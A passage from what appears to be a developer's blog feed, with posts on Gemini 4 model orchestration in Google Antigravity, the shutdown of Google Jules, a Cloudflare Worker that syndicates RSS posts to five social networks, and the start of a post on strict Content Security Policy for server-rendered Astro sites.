&lt;strong&gt;Writing the Contract (&lt;code&gt;exit_plan_mode&lt;/code&gt;):&lt;/strong&gt; Instead of giving you a vague summary, Argon is instructed by the system protocol to write an exhaustive, step-by-step engineering specification designed for a faster execution model that cannot ask follow-up questions. The plan must name the exact files, symbols, and changes, specify the exact verification commands and expected outputs, and end with a strict &lt;strong&gt;&lt;code&gt;"Re-plan if:"&lt;/code&gt;&lt;/strong&gt; checklist—the specific signs that an assumption in the plan turned out wrong.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Phase 2 — High-Speed Execution Turn (Hydrogen):&lt;/strong&gt; The moment Argon calls &lt;code&gt;exit_plan_mode&lt;/code&gt;, the turn ends and the Antigravity harness automatically hands the conversation over to the fast execution model (&lt;code&gt;Gemini 4 Hydrogen&lt;/code&gt;). Because it runs in the exact same conversation history, Hydrogen sees every file Argon inspected plus the structured plan, and immediately rips through the edits, builds, and test runs without touching your Argon planner quota.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Closed-Loop &lt;code&gt;[plan review]&lt;/code&gt; Hand-Back:&lt;/strong&gt; If Hydrogen hits one of the &lt;code&gt;"Re-plan if:"&lt;/code&gt; triggers, needs an architectural decision, or you type a follow-up message while it's working, the harness automatically pauses execution and wakes Argon back up with a hidden &lt;code&gt;[plan review]&lt;/code&gt; payload. Argon inspects what Hydrogen did against the plan, adjusts the remaining steps, and hands it back.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;In practice, this completely eliminates the old model-picker dance. You just leave &lt;code&gt;Orchestrator (Argon)&lt;/code&gt; selected, describe the feature or bug, and let the harness switch engines between planning and execution automatically.&lt;/p&gt;

&lt;h2&gt;2. Gemini 4 Hydrogen and the Distillation Question&lt;/h2&gt;

&lt;p&gt;When &lt;code&gt;Gemini 4 Argon&lt;/code&gt; launched alongside &lt;code&gt;Gemini 3.8 Flash&lt;/code&gt;, there was a noticeable generation gap when switching between them. &lt;code&gt;3.8 Flash&lt;/code&gt; had &lt;a href="https://www.ezinner.com/articles/gemini-3-8-flash-in-agentic-mode-throughput-beats-ttft/" rel="noopener noreferrer"&gt;great multi-turn throughput&lt;/a&gt;, but it still carried Gemini 3.x quirks when following dense, multi-file tool schemas.&lt;/p&gt;
&lt;p&gt;Enter &lt;strong&gt;&lt;code&gt;Gemini 4 Hydrogen&lt;/code&gt;&lt;/strong&gt;—the new high-speed workhorse of the elemental Gemini 4 lineup (&lt;code&gt;Carbon&lt;/code&gt;, &lt;code&gt;Argon&lt;/code&gt;, &lt;code&gt;Hydrogen&lt;/code&gt;).&lt;/p&gt;
&lt;p&gt;How does Hydrogen manage to feel both lightning-fast and noticeably sharper at tool-calling than 3.8 Flash? Within the Gemini 4 family architecture, &lt;strong&gt;Hydrogen is the distilled, execution-optimized derivative of the frontier Gen 4 series&lt;/strong&gt;. Rather than training a separate small model from scratch, Google distilled the agentic trajectory patterns, strict schema adherence, and code-editing priors from the heavyweight Gen 4 frontier models (Carbon and Argon) into a streamlined architecture built specifically for high tokens-per-second throughput and low latency.&lt;/p&gt;
&lt;p&gt;Even better: if you inspect Antigravity's internal model registry, &lt;strong&gt;&lt;code&gt;Gemini 4 Hydrogen&lt;/code&gt; shares the exact same fast-execution quota pool as &lt;code&gt;Gemini 3.8 Flash&lt;/code&gt;&lt;/strong&gt;, completely separate from your &lt;code&gt;Argon&lt;/code&gt; / &lt;code&gt;Orchestrator&lt;/code&gt; pool:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;&lt;tr&gt;
&lt;th&gt;Model Picker Entry&lt;/th&gt;
&lt;th&gt;Internal Model ID&lt;/th&gt;
&lt;th&gt;Quota Pool Shared With&lt;/th&gt;
&lt;/tr&gt;&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Gemini 4 Hydrogen (Low, Medium, High, XHigh)&lt;/td&gt;
&lt;td&gt;gemini-4-hydrogen-*&lt;/td&gt;
&lt;td&gt;Gemini 3.8 Flash (Fast Execution Pool)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Gemini 4 Argon (Low, Medium, High)&lt;/td&gt;
&lt;td&gt;gemini-4-argon-*&lt;/td&gt;
&lt;td&gt;Orchestrator (Argon) (Pro Frontier Pool)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;That means using Hydrogen—whether directly or as the execution half of Orchestrator mode—doesn't cannibalize your Argon planning turns.&lt;/p&gt;

&lt;h2&gt;3. The xhigh Thinking Level Secret Weapon&lt;/h2&gt;

&lt;p&gt;If you look closely at the thinking-budget tiers in the model picker, you'll notice something unique about Hydrogen. While Argon and 3.8 Flash offer three thinking levels (&lt;code&gt;low&lt;/code&gt;, &lt;code&gt;medium&lt;/code&gt;, &lt;code&gt;high&lt;/code&gt;), Hydrogen introduces a fourth tier: &lt;strong&gt;&lt;code&gt;xhigh&lt;/code&gt;&lt;/strong&gt; (&lt;code&gt;gemini-4-hydrogen-xhigh&lt;/code&gt;).&lt;/p&gt;
&lt;p&gt;This is where the distillation from the larger Gen 4 models really shines:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;On &lt;strong&gt;&lt;code&gt;low&lt;/code&gt;&lt;/strong&gt; and &lt;strong&gt;&lt;code&gt;medium&lt;/code&gt;&lt;/strong&gt;, Hydrogen acts like a pure reflex engine—ideal for UI tweaks, boilerplate wiring, and mechanical refactors where you want near-instant diffs.&lt;/li&gt;
&lt;li&gt;On &lt;strong&gt;&lt;code&gt;xhigh&lt;/code&gt;&lt;/strong&gt;, Antigravity allocates a deep extended-thinking token budget before Hydrogen emits its tool calls. On independent coding and reasoning evaluations (like the Artificial Analysis Intelligence Index), cranking &lt;code&gt;Gemini 4 Hydrogen&lt;/code&gt; to &lt;strong&gt;&lt;code&gt;xhigh&lt;/code&gt; pushes its score to 54&lt;/strong&gt;—actually matching or edging out standard &lt;code&gt;Gemini 4 Argon&lt;/code&gt; configurations on complex algorithmic and debugging benchmarks, while running at roughly a quarter of the API cost ($1.50/M input, $7.50/M output).&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;If you ever burn through your Argon quota mid-afternoon, or you want a single fast model to chew through a gnarly bug without switching into full Orchestrator mode, flipping directly to &lt;strong&gt;&lt;code&gt;Gemini 4 Hydrogen (XHigh)&lt;/code&gt;&lt;/strong&gt; gives you near-Argon reasoning depth right out of the generous Flash/Hydrogen quota bucket.&lt;/p&gt;

&lt;h2&gt;4. What About Gemini 4 Carbon? (And Finally, Inline Quota Meters)&lt;/h2&gt;

&lt;p&gt;At the very top of the new elemental hierarchy sits &lt;strong&gt;&lt;code&gt;Gemini 4 Carbon&lt;/code&gt;&lt;/strong&gt;, Google's heavyweight frontier model built for deep, long-horizon system architecture, security auditing, and complex research. &lt;/p&gt;
&lt;p&gt;I haven't tested &lt;code&gt;Carbon&lt;/code&gt; hands-on yet—it's currently gated to &lt;strong&gt;Google AI Ultra&lt;/strong&gt; subscribers, and I'm running on a standard Pro subscription—though judging by how much of its reasoning DNA trickled down into Argon and Hydrogen, it's safe to assume Carbon is a monster for massive enterprise codebases. Honestly, for day-to-day full-stack and edge engineering, the combination of &lt;code&gt;Orchestrator (Argon)&lt;/code&gt; and &lt;code&gt;Hydrogen (XHigh)&lt;/code&gt; on the Pro tier already covers 99% of what I throw at an IDE agent.&lt;/p&gt;
&lt;p&gt;And finally, a small UI change that deserves a standing ovation: &lt;strong&gt;remaining quota percentages and reset timers are now displayed right inside the model picker dropdown&lt;/strong&gt;. &lt;/p&gt;
&lt;p&gt;You no longer have to open the Antigravity Settings panel three levels deep just to check if your Argon pool is at 80% or 15%, or when the 5-hour rolling window resets. It's right there next to every model in the selector.&lt;/p&gt;

&lt;h2&gt;The Verdict on the Gen 4 Series&lt;/h2&gt;

&lt;p&gt;For a long time, IDE updates around AI models were just raw benchmark bumps—"here is a slightly smarter model that drains your quota 40% faster." &lt;/p&gt;
&lt;p&gt;What makes the &lt;strong&gt;Gemini 4 drop&lt;/strong&gt; in Antigravity feel so cohesive is that it solves the &lt;em&gt;operational&lt;/em&gt; friction of working with coding agents. You get a distilled daily driver (&lt;code&gt;Hydrogen&lt;/code&gt;) that doesn't feel lobotomized compared to the flagship, an &lt;code&gt;xhigh&lt;/code&gt; thinking toggle when you need extra depth without switching pools, live quota visibility where you actually click, and a native &lt;code&gt;Orchestrator&lt;/code&gt; mode that automates the Planner/Executor split out of the box.&lt;/p&gt;

</description>
      <category>ai</category>
      <category>gemini</category>
      <category>google</category>
      <category>llm</category>
    </item>
    <item>
      <title>RIP Google Jules: Why Local IDE Agents Don't Replace Closing Your Laptop on Cloud VMs</title>
      <dc:creator>Evgenii Zinner</dc:creator>
      <pubDate>Fri, 13 Nov 2026 08:01:20 +0000</pubDate>
      <link>https://dev.to/evgenii_zinner/rip-google-jules-why-local-ide-agents-dont-replace-closing-your-laptop-on-cloud-vms-1odh</link>
      <guid>https://dev.to/evgenii_zinner/rip-google-jules-why-local-ide-agents-dont-replace-closing-your-laptop-on-cloud-vms-1odh</guid>
      <description>&lt;p&gt;As of November 12, 2026, Google's asynchronous coding agent &lt;a href="https://jules.google/docs/changelog/" rel="noopener noreferrer"&gt;&lt;strong&gt;Jules&lt;/strong&gt;&lt;/a&gt; has officially entered read-only mode ahead of its permanent shutdown on December 31.&lt;/p&gt;
&lt;p&gt;According to the &lt;a href="https://jules.google/docs/changelog/" rel="noopener noreferrer"&gt;official turndown notice in the changelog&lt;/a&gt;, Google is consolidating its agentic coding efforts into &lt;strong&gt;Google Antigravity&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;I use Antigravity every day, and as an interactive local agent environment, it is great. But telling Jules users to "just use Antigravity" glosses over the one architectural feature that made Jules genuinely special: &lt;strong&gt;every task ran inside its own isolated cloud virtual machine, completely decoupled from your local hardware.&lt;/strong&gt;&lt;/p&gt;

&lt;h2&gt;The "Fire, Close Your Laptop, and Walk Away" Workflow&lt;/h2&gt;

&lt;p&gt;Most AI coding tools—Cursor, Claude Code, Windsurf, and Antigravity—treat agentic coding as a local, tethered activity. Even when an agent runs background terminal tasks or spawns subagents, your local machine is still the host. Your CPU is spinning, your battery is draining, your network connection has to stay alive, and your laptop has to stay awake.&lt;/p&gt;
&lt;p&gt;Jules worked on a completely different mental model:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Write down a list of well-scoped engineering tasks, refactors, or bug fixes.&lt;/li&gt;
&lt;li&gt;Dispatch all of them at once straight from the CLI.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Close your laptop lid and go do something else.&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;While you were at the gym, grabbing coffee, or sleeping, Jules spun up dedicated cloud VMs in the background, cloned your GitHub repositories, installed dependencies in clean sandboxes, ran your test suites, and opened pull requests. When you opened your laptop again, the work was sitting on GitHub waiting for review and merge.&lt;/p&gt;
&lt;p&gt;You weren't babysitting a terminal window or worrying that closing your MacBook or Windows laptop would kill three half-finished agent runs.&lt;/p&gt;

&lt;h2&gt;What Antigravity Still Doesn't Replace&lt;/h2&gt;

&lt;p&gt;Consolidating products makes sense from Google's perspective, and plenty of Jules's planning and MCP capabilities now live inside Antigravity.&lt;/p&gt;
&lt;p&gt;Still, there is currently &lt;strong&gt;no native option in Antigravity to offload heavy batch work off your laptop&lt;/strong&gt;. If you want five parallel tasks running across different branches, your local machine has to carry the compute, disk I/O, and active session state for all five. You can't just fire a CLI command from a lightweight terminal, shut your computer down, and let cloud VMs chew through your backlog.&lt;/p&gt;
&lt;p&gt;Losing a tool that genuinely freed you from your desk stings a bit. That said, agent workflows are evolving fast right now—between headless CLI agents, ephemeral cloud sandboxes, and MCP-driven pipelines, I am looking forward to seeing what new ways we find to work with autonomous agents next.&lt;/p&gt;

</description>
      <category>agents</category>
      <category>ai</category>
      <category>architecture</category>
      <category>cloud</category>
    </item>
    <item>
      <title>Why I Built Syndicator: Automating Blog Distribution Across X, Bluesky, Mastodon, Threads, and Nostr on a $0 Cloudflare Worker</title>
      <dc:creator>Evgenii Zinner</dc:creator>
      <pubDate>Thu, 12 Nov 2026 07:05:53 +0000</pubDate>
      <link>https://dev.to/evgenii_zinner/why-i-built-syndicator-automating-blog-distribution-across-x-bluesky-mastodon-threads-and-b4l</link>
      <guid>https://dev.to/evgenii_zinner/why-i-built-syndicator-automating-blog-distribution-across-x-bluesky-mastodon-threads-and-b4l</guid>
      <description>&lt;p&gt;After &lt;a href="https://www.ezinner.com/articles/why-i-dropped-my-custom-edge-cms-for-emdash/" rel="noopener noreferrer"&gt;moving my blog to EmDash CMS&lt;/a&gt;, getting an article live finally felt frictionless. I finish a draft, push it over MCP from my terminal, and it is live at the edge in a second.&lt;/p&gt;
&lt;p&gt;And then comes the part I hate: &lt;strong&gt;distribution&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;If you write technical posts and don't share them, nobody knows they exist. So right after finishing an article, instead of moving on to my next project, I was stuck doing 20 minutes of mind-numbing tab-switching—opening X, Bluesky, Mastodon, Threads, and a Nostr client, trimming the excerpt to fit five different character limits, and manually chaining self-replies.&lt;/p&gt;
&lt;p&gt;I looked at existing SaaS social schedulers, and none of them made sense for a developer blog. Paying $15 to $30 a month just to poll an RSS feed is absurd. Worse, most of them either don't support Nostr and Bluesky properly, or they dump your article link straight into the main post on X and Threads—which guarantees the algorithm buries it.&lt;/p&gt;
&lt;p&gt;Since my entire stack already runs on Cloudflare Workers, I decided to build my own zero-dollar distribution engine: &lt;a href="https://github.com/Evgenii-Zinner/syndicator" rel="noopener noreferrer"&gt;&lt;strong&gt;Syndicator&lt;/strong&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;What started as &lt;em&gt;"I'll just write a quick cron script that parses RSS and calls five APIs"&lt;/em&gt; quickly turned into a tour through algorithmic link penalties, UTF-8 byte offsets, RFC 5849 OAuth quirks, and raw Worker WebSockets. Here is how it came together.&lt;/p&gt;

&lt;h2&gt;The "Simple" RSS Bot Trap (And How Not to DDoS Your Own Followers)&lt;/h2&gt;

&lt;p&gt;On paper, an RSS-to-social bot is thirty lines of code: wake up on a cron schedule, fetch &lt;code&gt;/rss.xml&lt;/code&gt;, loop through the items, and post them.&lt;/p&gt;
&lt;p&gt;Then you stop and think about what actually happens the first time you deploy that script against an existing blog with 35 published articles: &lt;strong&gt;it immediately blasts five years of your archive across five social networks at the same time&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;And what happens four hours later when you haven't published anything new? It downloads and parses the entire XML feed again for nothing. Or worse: what happens if Bluesky and Mastodon succeed, X throws a &lt;code&gt;503 Service Unavailable&lt;/code&gt;, and the cron retries four hours later? Without granular state tracking, you end up double-posting to your followers on every retry.&lt;/p&gt;
&lt;p&gt;To keep the service completely free ($0/month), I wanted zero relational databases and zero external queues—just a Cloudflare Worker running on a 4-hour cron (&lt;code&gt;0 */4 * * *&lt;/code&gt;) backed by &lt;strong&gt;Cloudflare KV&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;Solving those failure modes shaped the RSS sync engine:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;5ms Exit on Unchanged Feeds:&lt;/strong&gt; Syndicator stores the feed's &lt;code&gt;rss:etag&lt;/code&gt; and &lt;code&gt;rss:last_modified&lt;/code&gt; headers in KV. Every 4 hours, it sends &lt;code&gt;If-None-Match&lt;/code&gt; and &lt;code&gt;If-Modified-Since&lt;/code&gt;. When there's no new post, the blog returns &lt;code&gt;304 Not Modified&lt;/code&gt; and the Worker exits in ~5 milliseconds without parsing a single byte of XML.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Silent Baseline Seeding:&lt;/strong&gt; On a fresh deployment (&lt;code&gt;rss:latest_url&lt;/code&gt; is empty), Syndicator records the top article in the feed as its high-water mark and publishes &lt;strong&gt;nothing&lt;/strong&gt;. Only articles published &lt;em&gt;after&lt;/em&gt; deployment get syndicated, processed oldest-to-newest so timelines stay in order.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Per-Platform Checkpointing:&lt;/strong&gt; Every article gets a state record at &lt;code&gt;post:&lt;/code&gt; tracking the remote post ID for each network. If platform 3 out of 5 fails mid-run, the batch halts immediately so later posts don't jump the queue. On the next run, Syndicator sees which platforms already succeeded for that URL, skips them, and only retries the failed ones.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Outsmarting the Walled Gardens (And Adding a 3-Character Shortener)&lt;/h2&gt;
&lt;p&gt;Once the RSS state machine was solid, I had to deal with how modern social networks actually work.&lt;/p&gt;
&lt;p&gt;If you broadcast the exact same post format everywhere, your reach gets crushed on half of them:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;The Open Web (Bluesky, Mastodon, Nostr):&lt;/strong&gt; Feeds are chronological. Readers want the excerpt and the clickable article link right there in the main post, complete with a rich preview card.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;The Algorithmic Feeds (X and Meta Threads):&lt;/strong&gt; Recommender algorithms actively penalize posts that contain external links because they want to keep users scrolling inside the app. On X and Threads, the only way to get normal reach is to post a clean, link-free text hook as Post 1, and drop the actual article link into &lt;strong&gt;Post 2&lt;/strong&gt; (the first self-reply).&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;So I built the thread planner to route differently depending on the target platform: chronological networks get the link inline in the root post, while X and Threads automatically get a two-post minimum where the outbound URL is tucked into the first reply.&lt;/p&gt;
&lt;p&gt;While testing how links looked across platforms, I noticed another annoyance: my article slugs are long (&lt;code&gt;/articles/why-astros-native-csp-breaks-on-shiki-and-why-switching-to-prism-is-a-bad-trade/&lt;/code&gt;). In plain-text Nostr clients, a 90-character URL looks terrible.&lt;/p&gt;
&lt;p&gt;Since the Worker was already running on Hono and connected to KV, I added a built-in &lt;strong&gt;3-character Base62 URL shortener&lt;/strong&gt; (&lt;code&gt;[0-9a-zA-Z]&lt;/code&gt;, giving 238,328 unique links). It maps &lt;code&gt;short:url: &amp;lt;-&amp;gt; short:code:a9X&lt;/code&gt; and serves &lt;code&gt;GET /:code&lt;/code&gt; with a &lt;code&gt;301 Moved Permanently&lt;/code&gt; and a 24-hour &lt;code&gt;Cache-Control&lt;/code&gt; header—meaning Cloudflare's edge cache handles repeat clicks without even waking up the Worker.&lt;/p&gt;

&lt;h2&gt;Five Platforms, Five Completely Different Eras of Web Protocols&lt;/h2&gt;

&lt;p&gt;I wanted Syndicator to have near-zero dependencies and run on pure Web Standards inside V8 isolates. Wiring up all five platforms side by side felt like a museum tour of how web APIs have evolved over the last fifteen years.&lt;/p&gt;
&lt;h3&gt;1. The Unicode Math Bug (&lt;code&gt;Intl.Segmenter&lt;/code&gt; vs. Bluesky's UTF-8 Facets)&lt;/h3&gt;
&lt;p&gt;Before even sending a request, splitting an excerpt into 280- or 300-character chunks hit a classic JavaScript landmine: &lt;code&gt;string.length&lt;/code&gt; counts UTF-16 code units, not visible characters. A single family emoji (&lt;code&gt;👨‍👩‍👧‍👦&lt;/code&gt;) counts as &lt;code&gt;11&lt;/code&gt; in &lt;code&gt;.length&lt;/code&gt;, and a rainbow flag (&lt;code&gt;🏳️‍🌈&lt;/code&gt;) counts as &lt;code&gt;6&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;To split threads cleanly on word boundaries without cutting words or miscounting emojis, Syndicator uses the standard &lt;code&gt;Intl.Segmenter(undefined, { granularity: 'grapheme' })&lt;/code&gt; API while dynamically reserving space for &lt;code&gt;(1/3)&lt;/code&gt; thread counters.&lt;/p&gt;
&lt;p&gt;Then came &lt;strong&gt;Bluesky (AT Protocol)&lt;/strong&gt;. Bluesky doesn't auto-detect URLs in post text; you have to pass a &lt;code&gt;facets&lt;/code&gt; array specifying where the link starts and ends—measured in &lt;strong&gt;UTF-8 byte offsets&lt;/strong&gt;, not UTF-16 character indices. If your post has a single curly apostrophe or em-dash before the URL, &lt;code&gt;string.indexOf(url)&lt;/code&gt; will be off by several bytes and Bluesky will turn the wrong word into a hyperlink. Encoding slices through &lt;code&gt;new TextEncoder()&lt;/code&gt; solved it cleanly, paired with an &lt;code&gt;app.bsky.embed.external&lt;/code&gt; card for the link preview.&lt;/p&gt;
&lt;h3&gt;2. X (Twitter) API v2 and Refusing the OAuth 2.0 Refresh Treadmill&lt;/h3&gt;
&lt;p&gt;When wiring up X (&lt;code&gt;POST https://api.twitter.com/2/tweets&lt;/code&gt;), I had two auth choices: OAuth 2.0 with PKCE, or classic OAuth 1.0a User Context.&lt;/p&gt;
&lt;p&gt;OAuth 2.0 access tokens expire after two hours, which means maintaining a stateful refresh-token rotation loop in KV—and if a refresh ever fails mid-flight, your bot dies until you manually re-authenticate. &lt;strong&gt;OAuth 1.0a user tokens never expire.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;The catch is that OAuth 1.0a requires signing every request with &lt;strong&gt;RFC 5849 &lt;code&gt;HMAC-SHA1&lt;/code&gt;&lt;/strong&gt;, and most people pull in ancient Node.js &lt;code&gt;crypto&lt;/code&gt; libraries to do it. Instead, I implemented the RFC 5849 signature generator directly using the native Web Crypto API (&lt;code&gt;crypto.subtle.sign("HMAC", ...)&lt;/code&gt;). The one spec gotcha that caught me: under RFC 5849 §3.4.1.3, when sending a &lt;code&gt;application/json&lt;/code&gt; payload to v2 endpoints, the POST body must be &lt;em&gt;excluded&lt;/em&gt; from the signature base string—only the sorted &lt;code&gt;oauth_*&lt;/code&gt; parameters and URL are signed.&lt;/p&gt;
&lt;h3&gt;3. Mastodon's Built-In Idempotency &amp;amp; Meta Threads' Two-Step Containers&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Mastodon&lt;/strong&gt; (&lt;code&gt;POST /api/v1/statuses&lt;/code&gt;) was by far the cleanest REST API of the bunch. Better yet, ActivityPub instances support a native &lt;code&gt;Idempotency-Key&lt;/code&gt; header. By hashing &lt;code&gt;mastodon::&lt;/code&gt; into a deterministic 32-character SHA-256 hex string via Web Crypto, Mastodon guarantees it won't create duplicate toots even if a network glitch triggers a retry.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Meta Threads&lt;/strong&gt; (&lt;code&gt;graph.threads.net/v1.0&lt;/code&gt;), on the other hand, requires a multi-step choreography: first querying &lt;code&gt;GET /v1.0/me&lt;/code&gt; to resolve your numeric user ID from your 60-day token, then calling &lt;code&gt;POST /{user_id}/threads&lt;/code&gt; to stage an unpublished media container, and finally calling &lt;code&gt;POST /{user_id}/threads_publish&lt;/code&gt; with the container ID to actually put the post on your timeline—repeating the dance with &lt;code&gt;reply_to_id&lt;/code&gt; for the follow-up link post.&lt;/p&gt;
&lt;h3&gt;4. Nostr: Signing Schnorr Events Over Worker WebSockets&lt;/h3&gt;
&lt;p&gt;Nostr doesn't use REST at all. It is a decentralized network of relays speaking raw WebSockets where every post is a &lt;strong&gt;NIP-01 Kind 1&lt;/strong&gt; JSON object signed with a &lt;code&gt;secp256k1&lt;/code&gt; BIP-340 Schnorr signature.&lt;/p&gt;
&lt;p&gt;Using &lt;code&gt;nostr-tools&lt;/code&gt; to sign the event with an &lt;code&gt;nsec1...&lt;/code&gt; (bech32) or hex private key was straightforward, but broadcasting it from a Cloudflare Worker required using Cloudflare's native &lt;code&gt;fetch&lt;/code&gt; WebSocket upgrade API instead of Node's &lt;code&gt;ws&lt;/code&gt; library:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const resp = await fetch(relayUrl, {
  headers: { Upgrade: 'websocket' },
});
const ws = resp.webSocket;
if (!ws) throw new Error(`Relay ${relayUrl} rejected WebSocket upgrade`);

ws.accept();
ws.send(JSON.stringify(['EVENT', signedEvent]));&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Syndicator fans the signed note out concurrently across multiple relays (&lt;code&gt;wss://relay.damus.io&lt;/code&gt;, &lt;code&gt;wss://nos.lol&lt;/code&gt;, &lt;code&gt;wss://relay.nostr.band&lt;/code&gt;), attaches an &lt;code&gt;["r", articleUrl]&lt;/code&gt; reference tag, and waits for each relay to reply with a NIP-01 &lt;code&gt;["OK", event_id, true]&lt;/code&gt; confirmation frame before closing the socket.&lt;/p&gt;

&lt;h2&gt;Zero-Touch Publishing&lt;/h2&gt;

&lt;p&gt;Now my publishing loop is genuinely finished. I write an article, push it to my site, and close my editor.&lt;/p&gt;
&lt;p&gt;On the next 4-hour tick, &lt;a href="https://github.com/Evgenii-Zinner/syndicator" rel="noopener noreferrer"&gt;Syndicator&lt;/a&gt; wakes up at the edge, spots the new RSS entry, mints a 3-character shortlink, formats the threads for each network's rules, and distributes it across all five platforms for $0/month.&lt;/p&gt;
&lt;p&gt;If you want to run the same setup for your own blog, the code is open source on GitHub:&lt;/p&gt;
&lt;ul&gt;&lt;li&gt;
&lt;strong&gt;Repository:&lt;/strong&gt; &lt;a href="https://github.com/Evgenii-Zinner/syndicator" rel="noopener noreferrer"&gt;github.com/Evgenii-Zinner/syndicator&lt;/a&gt;
&lt;/li&gt;&lt;/ul&gt;
&lt;p&gt;Point &lt;code&gt;RSS_FEED_URL&lt;/code&gt; at your feed, add the secrets for whichever platforms you use, and &lt;code&gt;bun run deploy&lt;/code&gt; it to your Cloudflare account.&lt;/p&gt;

</description>
      <category>automation</category>
      <category>serverless</category>
      <category>webdev</category>
    </item>
    <item>
      <title>Strict CSP for Astro SSR: Per-Request Nonces and Vite Virtual Modules (astro-strict-csp v0.3.0)</title>
      <dc:creator>Evgenii Zinner</dc:creator>
      <pubDate>Wed, 11 Nov 2026 01:18:11 +0000</pubDate>
      <link>https://dev.to/evgenii_zinner/strict-csp-for-astro-ssr-per-request-nonces-and-vite-virtual-modules-astro-strict-csp-v030-3lnd</link>
      <guid>https://dev.to/evgenii_zinner/strict-csp-for-astro-ssr-per-request-nonces-and-vite-virtual-modules-astro-strict-csp-v030-3lnd</guid>
      <description>&lt;p&gt;When I originally built &lt;code&gt;astro-strict-csp&lt;/code&gt; and shipped v0.2.0, my website was a pure static Astro build (&lt;code&gt;output: "static"&lt;/code&gt;). Every HTML file existed on disk at the end of &lt;code&gt;astro build&lt;/code&gt;, which meant I could enforce a strict Content Security Policy by scraping inline scripts and styles into external files and hashing them with Subresource Integrity (SRI) before deploying.&lt;/p&gt;

&lt;p&gt;Then I migrated &lt;code&gt;ezinner.com&lt;/code&gt; to EmDash CMS on Cloudflare Workers and D1.&lt;/p&gt;

&lt;p&gt;Moving to a live edge CMS meant flipping Astro from Static Site Generation (SSG) to Server-Side Rendering (&lt;code&gt;output: "server"&lt;/code&gt;). The moment I made that switch, my existing CSP pipeline hit an obvious wall: &lt;strong&gt;in SSR mode, there are no static HTML files at build time to scrape&lt;/strong&gt;. Pages are rendered on the fly inside a Cloudflare Worker isolate for every incoming request.&lt;/p&gt;

&lt;p&gt;To keep my strict CSP posture (blocking &lt;code&gt;'unsafe-inline'&lt;/code&gt; completely) on an SSR Astro site without copy-pasting custom middleware across projects, I updated &lt;a href="https://www.npmjs.com/package/astro-strict-csp" rel="noopener noreferrer"&gt;&lt;code&gt;astro-strict-csp&lt;/code&gt;&lt;/a&gt; and shipped &lt;strong&gt;v0.3.0&lt;/strong&gt; with automatic dual-mode SSG and SSR support.&lt;/p&gt;

&lt;p&gt;Here is how strict CSP differs between static and server-rendered Astro apps, how v0.3.0 bridges configuration into edge bundles via Vite virtual modules, and the W3C spec gotcha you need to watch out for with inline event handlers.&lt;/p&gt;




&lt;h3&gt;
  
  
  1. The Core Engineering Challenge: SSG vs. SSR
&lt;/h3&gt;

&lt;p&gt;Enforcing a strict Content Security Policy (eliminating &lt;code&gt;'unsafe-inline'&lt;/code&gt;) requires two completely different architectures depending on how your site is rendered:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Static Sites (SSG):&lt;/strong&gt; Have no runtime server to generate dynamic tokens per request. To avoid &lt;code&gt;'unsafe-inline'&lt;/code&gt;, you need &lt;strong&gt;post-build static extraction&lt;/strong&gt;—scraping inline &lt;code&gt;&amp;lt;style&amp;gt;&lt;/code&gt; and &lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt; tags out of the generated HTML into external assets and locking them down with Subresource Integrity hashes (&lt;code&gt;integrity="sha384-..."&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Server-Side Rendering (SSR):&lt;/strong&gt; Dynamically renders HTML per request. Because the markup is assembled at runtime, you need an &lt;strong&gt;edge/server middleware&lt;/strong&gt; that generates a fresh cryptographic nonce for every HTTP request, passes that nonce into your Astro component templates, and injects the matching &lt;code&gt;Content-Security-Policy&lt;/code&gt; HTTP header on the outgoing response.&lt;/li&gt;
&lt;/ul&gt;




&lt;h3&gt;
  
  
  2. Dual-Mode Architecture with Zero Manual Setup
&lt;/h3&gt;

&lt;p&gt;I wanted &lt;code&gt;astro-strict-csp&lt;/code&gt; to work seamlessly whether a project is static or server-rendered, without forcing developers to manually create and wire up a &lt;code&gt;src/middleware.ts&lt;/code&gt; file.&lt;/p&gt;

&lt;p&gt;During the &lt;code&gt;astro:config:setup&lt;/code&gt; hook, &lt;code&gt;astro-strict-csp&lt;/code&gt; inspects Astro's &lt;code&gt;output&lt;/code&gt; configuration and branches automatically:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;If &lt;code&gt;output: "static"&lt;/code&gt;:&lt;/strong&gt; It hooks into &lt;code&gt;astro:build:done&lt;/code&gt; and runs the in-memory static extraction and SHA-384 SRI pipeline.&lt;/li&gt;
&lt;li&gt;
